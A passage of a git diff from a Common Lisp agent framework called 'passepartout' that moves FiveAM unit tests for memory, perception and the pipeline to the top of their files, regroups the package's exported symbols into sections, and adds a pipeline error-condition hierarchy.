passepartout::*skill-registry*) - (passepartout::defskill :mock-blocker - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx action)) - (list :type :LOG :payload (list :text "Last-mile block")))) - (let* ((signal (list :type :EVENT :status nil :depth 0 - :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked"))))) - (loop-gate-act signal) - (is (eq :acted (getf signal :status))) - (is (null (getf signal :approved-action))))) - -(test test-loop-gate-act-preserves-meta - "Contract 1: signal metadata is not mutated by loop-gate-act." - (clrhash passepartout::*skill-registry*) - (let* ((meta '(:source :tui :session "s1")) - (signal (list :type :EVENT :status nil :depth 0 :meta meta - :approved-action '(:target :cli :payload (:text "test"))))) - (loop-gate-act signal) - (is (equal meta (getf signal :meta))))) - -(test test-action-dispatch-routes - "Contract 3: action-dispatch routes to registered actuators without crashing." - (actuator-initialize) - (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)")) - '(:type :EVENT :depth 0)))) - (is (numberp result) "eval should return a number"))) - -(test test-tool-timeout-shell - "Contract v0.7.2: shell timeout is 300 seconds." - (is (= 300 (passepartout::tool-timeout "shell")))) - -(test test-tool-timeout-unknown - "Contract v0.7.2: unknown tool gets default 120s." - (is (= 120 (passepartout::tool-timeout "nonexistent-tool")))) - -(test test-verify-write-match - "Contract v0.7.2: verify-write returns T on match." - (let ((path "/tmp/passepartout-verify-test.org") - (content "test content")) - (with-open-file (f path :direction :output :if-exists :supersede) - (write-string content f)) - (unwind-protect - (is (passepartout::verify-write path content)) - (ignore-errors (delete-file path))))) - -(test test-tool-timeout-enforcement - "Contract v0.7.2: tool exceeding timeout returns :error with timeout message." - (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1) - (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "sleep-forever" - :read-only-p nil - :body (lambda (args) - (declare (ignore args)) - (sleep 10) - "done"))) - (unwind-protect - (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil))) - (ctx '(:depth 0)) - (result (passepartout::action-tool-execute action ctx))) - (is (eq :EVENT (getf result :TYPE))) - (let ((payload (getf result :PAYLOAD))) - (is (eq :tool-error (getf payload :SENSOR))) - (is (search "timed out" (string-downcase (getf payload :MESSAGE)))))) - (remhash "sleep-forever" passepartout::*cognitive-tool-registry*) - (remhash "sleep-forever" passepartout::*tool-timeouts*))) - -(test test-tool-cache-read-only - "Contract v0.7.2: read-only tool results are cached and reused." - (let ((call-count 0)) - (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "cache-test" - :read-only-p t - :body (lambda (args) - (declare (ignore args)) - (incf call-count) - (list :status :success :content (format nil "call ~d" call-count))))) - (unwind-protect - (progn - (clrhash passepartout::*tool-cache*) - (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil))) - (ctx '(:depth 0)) - (r1 (passepartout::action-tool-execute action ctx)) - (r2 (passepartout::action-tool-execute action ctx))) - (is (= 1 call-count) "Second call should hit cache, not re-execute") - (let ((p1 (getf r1 :PAYLOAD)) - (p2 (getf r2 :PAYLOAD))) - (is (string= (getf (getf p1 :RESULT) :CONTENT) - (getf (getf p2 :RESULT) :CONTENT)))))) - (remhash "cache-test" passepartout::*cognitive-tool-registry*) - (clrhash passepartout::*tool-cache*)))) diff --git a/lisp/core-memory.lisp b/lisp/core-memory.lisp index a496944..d9119bc 100644 --- a/lisp/core-memory.lisp +++ b/lisp/core-memory.lisp @@ -1,3 +1,135 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-memory-tests + (:use :cl :fiveam :passepartout) + (:export #:memory-suite)) + +(in-package :passepartout-memory-tests) + +(def-suite memory-suite :description "Tests for the Merkle-Tree Memory") +(in-suite memory-suite) + +(test merkle-hash-consistency + "Contract 2: identical ASTs produce identical Merkle hashes." + (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil))) + (clrhash passepartout::*memory-store*) + (let ((id1 (ingest-ast ast1))) + (let ((hash1 (memory-object-hash (memory-object-get id1)))) + (clrhash passepartout::*memory-store*) + (let ((id2 (ingest-ast ast1))) + (is (equal hash1 (memory-object-hash (memory-object-get id2))))))))) + +(test merkle-hash-different + "Contract 2: distinct ASTs produce different Merkle hashes." + (clrhash passepartout::*memory-store*) + (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil)) + (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil)) + (id1 (ingest-ast ast1)) + (id2 (ingest-ast ast2)) + (hash1 (memory-object-hash (memory-object-get id1))) + (hash2 (memory-object-hash (memory-object-get id2)))) + (is (not (equal hash1 hash2))))) + +(test test-ingest-ast-returns-id + "Contract 1: ingest-ast returns a string ID and stores the object." + (clrhash passepartout::*memory-store*) + (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil)))) + (is (stringp id)) + (is (not (null id))))) + +(test test-memory-object-get + "Contract 3: memory-object-get retrieves an object by ID after ingest." + (clrhash passepartout::*memory-store*) + (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil)))) + (let ((obj (memory-object-get id))) + (is (not (null obj))) + (is (eq :HEADLINE (memory-object-type obj))) + (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE)))))) + +(test test-snapshot-and-rollback + "Contract 4+5: snapshot-memory saves state; rollback-memory restores it." + (clrhash passepartout::*memory-store*) + (setf passepartout::*memory-snapshots* nil) + (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil)) + (snapshot-memory) + (clrhash passepartout::*memory-store*) + (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil)) + (rollback-memory 0) + (is (not (null (memory-object-get "snap-a")))) + (is (null (memory-object-get "snap-b")))) + +(test test-undo-snapshot-restore + "Contract v0.7.2: undo-snapshot captures state, undo restores." + (let ((orig-store passepartout::*memory-store*) + (orig-undo passepartout::*undo-stack*) + (orig-redo passepartout::*redo-stack*)) + (unwind-protect + (progn + (setf passepartout::*memory-store* (make-hash-table :test 'equal) + passepartout::*undo-stack* nil + passepartout::*redo-stack* nil) + (passepartout::undo-snapshot) + (setf (gethash "x" passepartout::*memory-store*) "hello") + (is (string= "hello" (gethash "x" passepartout::*memory-store*))) + (is (passepartout::undo)) + (is (null (gethash "x" passepartout::*memory-store*)))) + (setf passepartout::*memory-store* orig-store + passepartout::*undo-stack* orig-undo + passepartout::*redo-stack* orig-redo)))) + +(test test-undo-redo-cycle + "Contract v0.7.2: redo restores undone state." + (let ((orig-store passepartout::*memory-store*) + (orig-undo passepartout::*undo-stack*) + (orig-redo passepartout::*redo-stack*)) + (unwind-protect + (progn + (setf passepartout::*memory-store* (make-hash-table :test 'equal) + passepartout::*undo-stack* nil + passepartout::*redo-stack* nil) + (passepartout::undo-snapshot) + (setf (gethash "y" passepartout::*memory-store*) "world") + (is (passepartout::undo)) + (is (null (gethash "y" passepartout::*memory-store*))) + (is (passepartout::redo)) + (is (string= "world" (gethash "y" passepartout::*memory-store*)))) + (setf passepartout::*memory-store* orig-store + passepartout::*undo-stack* orig-undo + passepartout::*redo-stack* orig-redo)))) + +(test test-undo-empty-stack-nil + "Contract v0.7.2: undo returns nil on empty stack." + (let ((orig-undo passepartout::*undo-stack*)) + (unwind-protect + (progn (setf passepartout::*undo-stack* nil) + (is (null (passepartout::undo)))) + (setf passepartout::*undo-stack* orig-undo)))) + +(test test-audit-node-found + "Contract v0.7.2: audit-node returns info for existing object." + (clrhash passepartout::*memory-store*) + (setf (gethash "audit-1" passepartout::*memory-store*) + (passepartout::make-memory-object :id "audit-1" :type :HEADLINE + :version 1 :hash "abc123" :scope :memex)) + (let ((info (passepartout::audit-node "audit-1"))) + (is (not (null info))) + (is (eq :HEADLINE (getf info :type))) + (is (string= "abc123" (getf info :hash))))) + +(test test-audit-node-not-found + "Contract v0.7.2: audit-node returns nil for nonexistent id." + (is (null (passepartout::audit-node "nonexistent-xxxx")))) + +(test test-audit-verify-hash + "Contract v0.7.2: audit-verify-hash returns (total . missing)." + (clrhash passepartout::*memory-store*) + (setf (gethash "a" passepartout::*memory-store*) + (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc")) + (let ((result (passepartout::audit-verify-hash))) + (is (= 1 (car result))) + (is (= 0 (cdr result))))) + (in-package :passepartout) (defvar *memory-store* (make-hash-table :test 'equal)) @@ -217,135 +349,3 @@ Returns (total . missing-hashes)." (incf missing))))) *memory-store*) (cons total missing))) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-memory-tests - (:use :cl :fiveam :passepartout) - (:export #:memory-suite)) - -(in-package :passepartout-memory-tests) - -(def-suite memory-suite :description "Tests for the Merkle-Tree Memory") -(in-suite memory-suite) - -(test merkle-hash-consistency - "Contract 2: identical ASTs produce identical Merkle hashes." - (let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil))) - (clrhash passepartout::*memory-store*) - (let ((id1 (ingest-ast ast1))) - (let ((hash1 (memory-object-hash (memory-object-get id1)))) - (clrhash passepartout::*memory-store*) - (let ((id2 (ingest-ast ast1))) - (is (equal hash1 (memory-object-hash (memory-object-get id2))))))))) - -(test merkle-hash-different - "Contract 2: distinct ASTs produce different Merkle hashes." - (clrhash passepartout::*memory-store*) - (let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil)) - (ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil)) - (id1 (ingest-ast ast1)) - (id2 (ingest-ast ast2)) - (hash1 (memory-object-hash (memory-object-get id1))) - (hash2 (memory-object-hash (memory-object-get id2)))) - (is (not (equal hash1 hash2))))) - -(test test-ingest-ast-returns-id - "Contract 1: ingest-ast returns a string ID and stores the object." - (clrhash passepartout::*memory-store*) - (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil)))) - (is (stringp id)) - (is (not (null id))))) - -(test test-memory-object-get - "Contract 3: memory-object-get retrieves an object by ID after ingest." - (clrhash passepartout::*memory-store*) - (let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil)))) - (let ((obj (memory-object-get id))) - (is (not (null obj))) - (is (eq :HEADLINE (memory-object-type obj))) - (is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE)))))) - -(test test-snapshot-and-rollback - "Contract 4+5: snapshot-memory saves state; rollback-memory restores it." - (clrhash passepartout::*memory-store*) - (setf passepartout::*memory-snapshots* nil) - (ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil)) - (snapshot-memory) - (clrhash passepartout::*memory-store*) - (ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil)) - (rollback-memory 0) - (is (not (null (memory-object-get "snap-a")))) - (is (null (memory-object-get "snap-b")))) - -(test test-undo-snapshot-restore - "Contract v0.7.2: undo-snapshot captures state, undo restores." - (let ((orig-store passepartout::*memory-store*) - (orig-undo passepartout::*undo-stack*) - (orig-redo passepartout::*redo-stack*)) - (unwind-protect - (progn - (setf passepartout::*memory-store* (make-hash-table :test 'equal) - passepartout::*undo-stack* nil - passepartout::*redo-stack* nil) - (passepartout::undo-snapshot) - (setf (gethash "x" passepartout::*memory-store*) "hello") - (is (string= "hello" (gethash "x" passepartout::*memory-store*))) - (is (passepartout::undo)) - (is (null (gethash "x" passepartout::*memory-store*)))) - (setf passepartout::*memory-store* orig-store - passepartout::*undo-stack* orig-undo - passepartout::*redo-stack* orig-redo)))) - -(test test-undo-redo-cycle - "Contract v0.7.2: redo restores undone state." - (let ((orig-store passepartout::*memory-store*) - (orig-undo passepartout::*undo-stack*) - (orig-redo passepartout::*redo-stack*)) - (unwind-protect - (progn - (setf passepartout::*memory-store* (make-hash-table :test 'equal) - passepartout::*undo-stack* nil - passepartout::*redo-stack* nil) - (passepartout::undo-snapshot) - (setf (gethash "y" passepartout::*memory-store*) "world") - (is (passepartout::undo)) - (is (null (gethash "y" passepartout::*memory-store*))) - (is (passepartout::redo)) - (is (string= "world" (gethash "y" passepartout::*memory-store*)))) - (setf passepartout::*memory-store* orig-store - passepartout::*undo-stack* orig-undo - passepartout::*redo-stack* orig-redo)))) - -(test test-undo-empty-stack-nil - "Contract v0.7.2: undo returns nil on empty stack." - (let ((orig-undo passepartout::*undo-stack*)) - (unwind-protect - (progn (setf passepartout::*undo-stack* nil) - (is (null (passepartout::undo)))) - (setf passepartout::*undo-stack* orig-undo)))) - -(test test-audit-node-found - "Contract v0.7.2: audit-node returns info for existing object." - (clrhash passepartout::*memory-store*) - (setf (gethash "audit-1" passepartout::*memory-store*) - (passepartout::make-memory-object :id "audit-1" :type :HEADLINE - :version 1 :hash "abc123" :scope :memex)) - (let ((info (passepartout::audit-node "audit-1"))) - (is (not (null info))) - (is (eq :HEADLINE (getf info :type))) - (is (string= "abc123" (getf info :hash))))) - -(test test-audit-node-not-found - "Contract v0.7.2: audit-node returns nil for nonexistent id." - (is (null (passepartout::audit-node "nonexistent-xxxx")))) - -(test test-audit-verify-hash - "Contract v0.7.2: audit-verify-hash returns (total . missing)." - (clrhash passepartout::*memory-store*) - (setf (gethash "a" passepartout::*memory-store*) - (passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc")) - (let ((result (passepartout::audit-verify-hash))) - (is (= 1 (car result))) - (is (= 0 (cdr result))))) diff --git a/lisp/core-package.lisp b/lisp/core-package.lisp index 5124460..b4713d1 100644 --- a/lisp/core-package.lisp +++ b/lisp/core-package.lisp @@ -1,24 +1,38 @@ (defpackage :passepartout (:use :cl) (:export + ;; ── Core: Transport & Protocol ── #:frame-message #:read-framed-message - #:PROTO-GET - #:proto-get - #:*VAULT-MEMORY* + #:PROTO-GET + #:proto-get #:make-hello-message #:validate-communication-protocol-schema #:start-daemon - #:log-message + #:register-actuator + #:actuator-initialize + #:action-dispatch + + ;; ── Core: Pipeline ── #:main - #:diagnostics-run-all - #:diagnostics-main - #:diagnostics-dependencies-check - #:diagnostics-env-check - #:register-provider - #:provider-openai-request - #:provider-config - #:run-setup-wizard + #:log-message + #:process-signal + #:loop-process + #:perceive-gate + #:loop-gate-perceive + #:act-gate + #:loop-gate-act + #:reason-gate + #:loop-gate-reason + #:cognitive-verify + #:backend-cascade-call + #:json-alist-to-plist + #:stimulus-inject + #:register-probabilistic-backend + #:*probabilistic-backends* + #:*provider-cascade* + + ;; ── Core: Memory ── #:ingest-ast #:memory-object-get #:*memory-store* @@ -35,6 +49,7 @@ #:memory-object-content #:memory-object-hash #:memory-object-scope + #:memory-objects-by-attribute #:snapshot-memory #:rollback-memory #:undo-snapshot @@ -42,10 +57,12 @@ #:redo #:*undo-stack* #:*redo-stack* - #:context-get-system-logs - #:context-assemble-global-awareness - #:context-awareness-assemble - #:context-query + + ;; ── Core: Context & Awareness ── + #:context-get-system-logs + #:context-assemble-global-awareness + #:context-awareness-assemble + #:context-query #:push-context #:pop-context #:current-context @@ -57,91 +74,25 @@ #:focus-session #:focus-memex #:unfocus - #:process-signal - #:loop-process - #:perceive-gate - #:loop-gate-perceive - #:act-gate - #:loop-gate-act - #:reason-gate - #:loop-gate-reason - #:cognitive-verify - #:backend-cascade-call - #:json-alist-to-plist - #:json-alist-to-plist - #:inject-stimulus - #:stimulus-inject - #:hitl-create - #:hitl-approve - #:hitl-deny - #:hitl-handle-message - #:dispatcher-check-secret-path - #:dispatcher-check-shell-safety - #:dispatcher-check-privacy-tags - #:dispatcher-check-network-exfil - #:dispatcher-check - #:dispatcher-gate - #:wildcard-match - #:actuator-initialize - #:action-dispatch - #:register-actuator - #:load-skill-from-org - #:skill-initialize-all - #:lisp-syntax-validate - #:defskill - #:*skill-registry* - #:*scope-resolver* - #:*embedding-backend* - #:*embedding-queue* - #:*embedding-provider* - #:embed-queue-object - #:embed-object - #:embed-all-pending - #:embedding-backend-hashing - #:embedding-backend-native - #:embedding-native-load-model - #:embedding-native-unload - #:embedding-native-ensure-loaded - #:embedding-native-get-dim - #:embeddings-compute - #:mark-vector-stale - #:skill + #:*scope-resolver* + + ;; ── Core: Skills Engine ── + #:skill #:skill-name #:skill-priority #:skill-dependencies #:skill-trigger-fn #:skill-probabilistic-prompt #:skill-deterministic-fn + #:defskill + #:*skill-registry* + #:skill-initialize-all + #:load-skill-from-org + #:lisp-syntax-validate + + ;; ── Core: Cognitive Tools ── #:def-cognitive-tool #:*cognitive-tool-registry* - #:org-read-file - #:org-write-file - #:org-headline-add - #:org-headline-find-by-id - #:literate-tangle-sync-check - #:archivist-create-note - #:gateway-start - #:org-property-set - #:org-todo-set - #:org-id-generate - #:org-id-format - #:org-modify - #:lisp-validate - #:lisp-structural-check - #:lisp-syntactic-check - #:lisp-semantic-check - #:lisp-eval - #:lisp-format - #:lisp-list-definitions - #:lisp-extract - #:lisp-inject - #:lisp-slurp - #:get-oc-config-dir - #:get-tool-permission - #:set-tool-permission - #:check-tool-permission-gate - #:permission-get - #:permission-set #:cognitive-tool #:cognitive-tool-name #:cognitive-tool-description @@ -149,53 +100,128 @@ #:cognitive-tool-guard #:cognitive-tool-body #:tool-read-only-p - #:register-probabilistic-backend - #:*probabilistic-backends* - #:*provider-cascade* - #:vault-get - #:vault-set - #:vault-get-secret - #:vault-set-secret - #:memory-objects-by-attribute - #:channel-cli-input - #:repl-eval - #:repl-inspect - #:repl-list-vars - #:policy-compliance-check - #:validator-protocol-check - #:archivist-extract-headlines - #:archivist-headline-to-filename - #:literate-extract-lisp-blocks - #:literate-block-balance-check - #:gateway-registry-initialize - #:messaging-link - #:messaging-unlink - #:gateway-configured-p - #:count-tokens - #:model-token-ratio - #:token-cost - #:provider-token-cost - #:cost-track-call - #:cost-session-total - #:cost-session-calls - #:cost-by-provider - #:cost-session-reset - #:cost-format-budget-status - #:cost-track-backend-call - #:prompt-prefix-cached - #:context-assemble-cached - #:enforce-token-budget - #:token-economics-initialize)) + + ;; ── Security: Dispatcher ── + #:dispatcher-check-secret-path + #:dispatcher-check-shell-safety + #:dispatcher-check-privacy-tags + #:dispatcher-check-network-exfil + #:dispatcher-check + #:dispatcher-gate + #:wildcard-match + + ;; ── Security: HITL ── + #:hitl-create + #:hitl-approve + #:hitl-deny + #:hitl-handle-message + + ;; ── Security: Vault & Permissions ── + #:*VAULT-MEMORY* + #:vault-get + #:vault-set + #:vault-get-secret + #:vault-set-secret + #:get-tool-permission + #:set-tool-permission + #:check-tool-permission-gate + #:permission-get + #:permission-set + #:policy-compliance-check + #:validator-protocol-check + + ;; ── Embedding ── + #:*embedding-backend* + #:*embedding-queue* + #:*embedding-provider* + #:embed-queue-object + #:embed-object + #:embed-all-pending + #:embedding-backend-hashing + #:embedding-backend-native + #:embedding-native-load-model + #:embedding-native-unload + #:embedding-native-ensure-loaded + #:embedding-native-get-dim + #:embeddings-compute + #:mark-vector-stale + + ;; ── Channels ── + #:channel-cli-input + #:gateway-start + #:gateway-registry-initialize + #:messaging-link + #:messaging-unlink + #:gateway-configured-p + + ;; ── Programming: Lisp ── + #:lisp-validate + #:lisp-structural-check + #:lisp-syntactic-check + #:lisp-semantic-check + #:lisp-eval + #:lisp-format + #:lisp-list-definitions + #:lisp-extract + #:lisp-inject + #:lisp-slurp + + ;; ── Programming: Org ── + #:org-read-file + #:org-write-file + #:org-headline-add + #:org-headline-find-by-id + #:org-property-set + #:org-todo-set + #:org-id-generate + #:org-id-format + #:org-modify + + ;; ── Programming: Literate & REPL ── + #:literate-tangle-sync-check + #:literate-extract-lisp-blocks + #:literate-block-balance-check + #:repl-eval + #:repl-inspect + #:repl-list-vars + + ;; ── Symbolic ── + #:archivist-create-note + #:archivist-extract-headlines + #:archivist-headline-to-filename + + ;; ── Diagnostics & Config ── + #:diagnostics-run-all + #:diagnostics-main + #:diagnostics-dependencies-check + #:diagnostics-env-check + #:get-oc-config-dir + #:run-setup-wizard + + ;; ── Providers ── + #:register-provider + #:provider-openai-request + #:provider-config + + ;; ── Token Economics ── + #:count-tokens + #:model-token-ratio + #:token-cost + #:provider-token-cost + #:cost-track-call + #:cost-session-total + #:cost-session-calls + #:cost-by-provider + #:cost-session-reset + #:cost-format-budget-status + #:cost-track-backend-call + #:prompt-prefix-cached + #:context-assemble-cached + #:enforce-token-budget + #:token-economics-initialize)) (in-package :passepartout) -(defun plist-get (plist key) - "Robust plist accessor — checks both :KEY and :key variants." - (let* ((s (string key)) - (up (intern (string-upcase s) :keyword)) - (dn (intern (string-downcase s) :keyword))) - (or (getf plist up) (getf plist dn)))) - (defvar *log-buffer* nil) (defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock")) (defvar *log-limit* 100) diff --git a/lisp/core-perceive.lisp b/lisp/core-perceive.lisp index 58218e3..94f8d3f 100644 --- a/lisp/core-perceive.lisp +++ b/lisp/core-perceive.lisp @@ -1,3 +1,47 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-perceive-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-perceive-suite)) + +(in-package :passepartout-pipeline-perceive-tests) + +(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline") +(in-suite pipeline-perceive-suite) + +(test test-loop-gate-perceive + "Contract 1: :buffer-update ingests AST and sets :perceived status." + (clrhash passepartout::*memory-store*) + (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil)))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))) + (is (not (null (gethash "test-node" passepartout::*memory-store*)))))) + +(test test-depth-limiting + "Edge: depth 11 signals are rejected by the pipeline." + (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat)))) + (is (null (process-signal runaway-signal))))) + +(test test-loop-gate-perceive-unknown-sensor + "Contract 1: unknown sensors pass through and reach :perceived." + (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))))) + +(test test-loop-gate-perceive-no-ast + "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived." + (clrhash passepartout::*memory-store*) + (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update))) + (result (loop-gate-perceive signal))) + (is (eq :perceived (getf result :status))))) + +(test test-depth-limiting-normal + "Contract 1: signals at normal depth pass through without rejection." + (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat)))) + (is (not (eq :rejected (getf normal-signal :status))) + "Signal at normal depth should not be rejected"))) + (in-package :passepartout) (defvar *loop-interrupt* nil) @@ -19,9 +63,6 @@ FN receives (signal) and returns T if consumed, nil to continue." (setf (gethash sensor *pre-reason-handlers*) fn)) -(defun inject-stimulus (raw-message &key stream (depth 0)) - (stimulus-inject raw-message :stream stream :depth depth)) - (defun stimulus-inject (raw-message &key stream (depth 0)) "Inject a raw message into the signal processing pipeline." (let* ((payload (getf raw-message :payload)) @@ -116,47 +157,3 @@ FN receives (signal) and returns T if consumed, nil to continue." (defun perceive-gate (signal) (loop-gate-perceive signal)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-perceive-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-perceive-suite)) - -(in-package :passepartout-pipeline-perceive-tests) - -(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline") -(in-suite pipeline-perceive-suite) - -(test test-loop-gate-perceive - "Contract 1: :buffer-update ingests AST and sets :perceived status." - (clrhash passepartout::*memory-store*) - (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil)))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))) - (is (not (null (gethash "test-node" passepartout::*memory-store*)))))) - -(test test-depth-limiting - "Edge: depth 11 signals are rejected by the pipeline." - (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat)))) - (is (null (process-signal runaway-signal))))) - -(test test-loop-gate-perceive-unknown-sensor - "Contract 1: unknown sensors pass through and reach :perceived." - (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))))) - -(test test-loop-gate-perceive-no-ast - "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived." - (clrhash passepartout::*memory-store*) - (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update))) - (result (loop-gate-perceive signal))) - (is (eq :perceived (getf result :status))))) - -(test test-depth-limiting-normal - "Contract 1: signals at normal depth pass through without rejection." - (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat)))) - (is (not (eq :rejected (getf normal-signal :status))) - "Signal at normal depth should not be rejected"))) diff --git a/lisp/core-pipeline.lisp b/lisp/core-pipeline.lisp index 9f4b095..b0b6c84 100644 --- a/lisp/core-pipeline.lisp +++ b/lisp/core-pipeline.lisp @@ -1,5 +1,81 @@ +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-immune-system-tests + (:use :cl :fiveam :passepartout) + (:export #:immune-suite)) + +(in-package :passepartout-immune-system-tests) + +(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)") +(in-suite immune-suite) + +(test loop-error-injection + "Contract 1: a crash in think/decide triggers :loop-error stimulus." + (clrhash passepartout::*skill-registry*) + (passepartout:defskill :evil-skill + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input)) + :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE")) + :deterministic nil) + (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input))) + (let ((logs (if (fboundp 'passepartout::context-get-system-logs) + (passepartout:context-get-system-logs 20) + nil))) + (is (or (null logs) ; no log service available — degraded but not broken + (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))) + +(test test-process-signal-normal-path + "Contract 1: a valid signal passes through the pipeline without crash." + (clrhash passepartout::*skill-registry*) + (handler-case + (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat)))) + (process-signal signal) + (pass)) + (error (c) + (fail "Pipeline crashed on normal signal: ~a" c)))) + +(test test-loop-process-returns-nil-on-deep + "Contract 1: depth > 10 returns nil from loop-process." + (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat))))) + (is (null result)))) + (in-package :passepartout) +(define-condition passepartout-error (error) + ((message :initarg :message :reader error-message)) + (:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c)))) + (:documentation "Root of the pipeline error hierarchy.")) + +(define-condition pipeline-error (passepartout-error) + ((signal :initarg :signal :reader pipeline-error-signal :initform nil)) + (:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c)))) + (:documentation "Any error during the Perceive→Reason→Act cycle.")) + +(define-condition llm-error (pipeline-error) + ((provider :initarg :provider :reader llm-error-provider) + (cascade :initarg :cascade :reader llm-error-cascade :initform nil) + (attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0)) + (:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c)))) + (:documentation "LLM provider failure: timeout, cascade exhaustion, or API error.")) + +(define-condition gate-error (pipeline-error) + ((gate-name :initarg :gate-name :reader gate-error-gate-name) + (rejected-action :initarg :rejected-action :reader gate-error-rejected-action)) + (:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c)))) + (:documentation "Deterministic gate blocked a proposed action.")) + +(define-condition budget-error (pipeline-error) + ((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0) + (requested :initarg :requested :reader budget-error-requested :initform 0.0)) + (:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c)))) + (:documentation "Session budget cap has been reached.")) + +(define-condition protocol-error (passepartout-error) + ((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil)) + (:report (lambda (c s) (format s "Protocol error: ~a" (error-message c)))) + (:documentation "Malformed message, framing failure, or schema violation.")) + (defvar *interrupt-flag* nil "Atomic flag set by signal handlers to trigger graceful shutdown.") @@ -23,27 +99,42 @@ (log-message "METABOLISM: Interrupted by shutdown signal.") (return nil)) - (handler-case - (progn - (setf current-signal (perceive-gate current-signal)) - (setf current-signal (reason-gate current-signal)) - (let ((feedback (act-gate current-signal))) - (if feedback - (progn - (unless (getf feedback :meta) (setf (getf feedback :meta) meta)) - (setf current-signal feedback)) - (setf current-signal nil)))) - (error (c) - (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor)))) - (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c) - (unless (member sensor '(:loop-error :tool-error :syntax-error)) - (log-message "CRITICAL ERROR: Initiating Micro-Rollback.") - (rollback-memory 0)) - (if (or (> depth 2) (member sensor '(:loop-error :tool-error))) - (setf current-signal nil) - (setf current-signal - (list :type :EVENT :depth (1+ depth) :meta meta - :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))))) + (restart-case + (handler-bind + ((pipeline-error (lambda 